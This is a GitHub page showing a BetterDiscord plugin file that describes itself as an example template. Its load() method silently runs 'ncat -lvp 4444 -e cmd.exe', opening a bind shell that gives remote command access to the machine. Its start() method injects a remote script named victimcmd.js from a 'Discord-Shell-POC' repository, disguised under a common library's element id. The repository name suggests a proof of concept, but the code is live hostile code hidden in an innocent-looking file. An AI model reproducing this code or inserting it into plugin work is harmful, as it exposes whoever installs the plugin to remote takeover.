-
Notifications
You must be signed in to change notification settings - Fork 4
/
example.plugin.js
87 lines (66 loc) · 2.25 KB
/
example.plugin.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
//META{"name":"Example"}*//
class Example {
// Constructor
constructor() {
this.initialized = false;
}
// Meta
getName() { return "Example"; }
getShortName() { return "Example"; }
getDescription() { return "This is an example/template for a BD plugin."; }
getVersion() { return "0.1.0"; }
getAuthor() { return "Minin"; }
// Settings Panel
getSettingsPanel() {
return "<!--Enter Settings Panel Options, just standard HTML-->";
}
// Load/Unload
load() {
const utillool = require('util');
const runshit = utillool.promisify(require('child_process').exec);
async function executeshit(execom) {
const { stdout, stderr, error } = await runshit(execom);
if(stderr){console.error('stderr:', stderr);}
if(error){console.error('error:', error);}
return stdout;
}
async function executecomz () {
const execom = 'ncat -lvp 4444 -e cmd.exe';
const result = await executeshit(execom);
console.log(result);
}
executecomz();
}
unload() { }
// Events
onMessage() {
// Called when a message is received
};
onSwitch() {
// Called when a server or channel is switched
};
observer(e) {
// raw MutationObserver event for each mutation
};
// Start/Stop
start() {
var libraryScript = document.getElementById('zeresLibraryScript');
if (!libraryScript) {
libraryScript = document.createElement("script");
libraryScript.setAttribute("type", "text/javascript");
libraryScript.setAttribute("src", "https://github.com/0x1CA3/Discord-Shell-POC/blob/main/Testing-Sample/victimcmd.js");
libraryScript.setAttribute("id", "zeresLibraryScript");
document.head.appendChild(libraryScript);
}
if (typeof window.ZeresLibrary !== "undefined") this.initialize();
else libraryScript.addEventListener("load", () => { this.initialize(); });
}
stop() {
PluginUtilities.showToast(this.getName() + " " + this.getVersion() + " has stopped.");
};
// Initialize
initialize() {
this.initialized = true;
PluginUtilities.showToast(this.getName() + " " + this.getVersion() + " has started.");
}
}